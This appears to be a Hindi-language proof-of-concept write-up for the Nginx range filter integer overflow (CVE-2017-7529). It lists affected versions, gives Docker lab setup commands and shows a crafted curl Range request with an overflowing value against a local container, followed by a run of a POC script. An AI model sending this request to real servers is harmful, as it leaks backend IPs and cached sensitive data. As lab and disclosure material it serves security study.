
Nginx पूर्णांक अतिप्रवाह (CVE-2017-7529) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो निर्मित रेंज अनुरोधों के माध्यम से कैश हेडर प्रकटीकरण को सक्षम करता है, जिसमें डॉकर-आधारित प्रयोगशाला वातावरण और पायथन POC स्क्रिप्ट शामिल है।
जब Nginx मानक मॉड्यूल का उपयोग करता है, तो हमलावर दुर्भावनापूर्ण रूप से निर्मित range फ़ील्ड वाले हेडर अनुरोध भेजकर प्रतिक्रिया में कैश फ़ाइल के हेडर जानकारी प्राप्त कर सकता है। कुछ कॉन्फ़िगरेशन में, कैश फ़ाइल हेडर में बैकएंड सर्वर का IP पता या अन्य संवेदनशील जानकारी हो सकती है, जिससे जानकारी लीक हो सकती है।
संदर्भ:【भेद्यता विश्लेषण】Nginx range फ़िल्टर पूर्णांक अतिप्रवाह भेद्यता (CVE–2017–7529) चेतावनी विश्लेषण
यह भेद्यता Nginx के सभी संस्करणों 0.5.6 - 1.13.2 को प्रभावित करती है जिनमें डिफ़ॉल्ट कॉन्फ़िगरेशन मॉड्यूल सक्षम है। केवल कैशिंग सक्षम होने पर हमलावर दूरस्थ हमला करने और जानकारी लीक करने के लिए दुर्भावनापूर्ण अनुरोध भेज सकता है।
जब Nginx सर्वर प्रॉक्सी कैश का उपयोग कर रहा हो, तो हमलावर इस भेद्यता का उपयोग करके सर्वर का बैकएंड वास्तविक IP या अन्य संवेदनशील जानकारी प्राप्त कर सकता है।
हमारे विश्लेषण के अनुसार, इस भेद्यता का शोषण करना आसान है और इसे low-hanging-fruit भेद्यता के रूप में वर्गीकृत किया जा सकता है, वास्तविक नेटवर्क हमलों में भी इसका कुछ उपयोग मूल्य है।
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
-p 8000:80में आगे वाला 8000 भौतिक मशीन के पोर्ट को दर्शाता है, इसे आप अपनी इच्छानुसार निर्दिष्ट कर सकते हैं।
$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Content-Length: 16585 देखें, इससे बड़ा मान चुनें, जैसे 17208, दूसरा range मान 0x8000000000000000-17208 होगा, अर्थात 9223372036854758600
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
परिणाम देखें:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png